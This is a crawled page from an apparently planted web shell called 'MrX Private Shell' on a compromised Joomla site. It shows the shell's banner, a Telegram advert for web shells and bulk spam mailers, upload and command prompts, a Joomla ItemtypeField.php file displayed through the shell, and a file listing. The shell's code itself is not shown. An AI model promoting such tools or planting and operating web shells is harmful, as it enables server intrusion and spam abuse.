__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_associations
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Associations\Administrator\Field;

use Joomla\CMS\Form\Field\GroupedlistField;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\Component\Associations\Administrator\Helper\AssociationsHelper;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * A drop down containing all component item types that implement associations.
 *
 * @since  3.7.0
 */
class ItemtypeField extends GroupedlistField
{
    /**
     * The form field type.
     *
     * @var    string
     *
     * @since  3.7.0
     */
    protected $type = 'Itemtype';

    /**
     * Method to get the field input markup.
     *
     * @return  array  The field option objects as a nested array in groups.
     *
     * @since  3.7.0
     *
     * @throws  \UnexpectedValueException
     */
    protected function getGroups()
    {
        $options    = [];
        $extensions = AssociationsHelper::getSupportedExtensions();

        foreach ($extensions as $extension) {
            if ($extension->get('associationssupport') === true) {
                foreach ($extension->get('types') as $type) {
                    $context                             = $extension->get('component') . '.' . $type->get('name');
                    $options[$extension->get('title')][] = HTMLHelper::_('select.option', $context, $type->get('title'));
                }
            }
        }

        // Sort by alpha order.
        uksort($options, 'strnatcmp');

        // Add options to parent array.
        return array_merge(parent::getGroups(), $options);
    }
}

Filemanager

Name Type Size Permission Actions
Modal Folder 0775
ItemlanguageField.php File 3.66 KB 0664
ItemtypeField.php File 1.81 KB 0664
Filemanager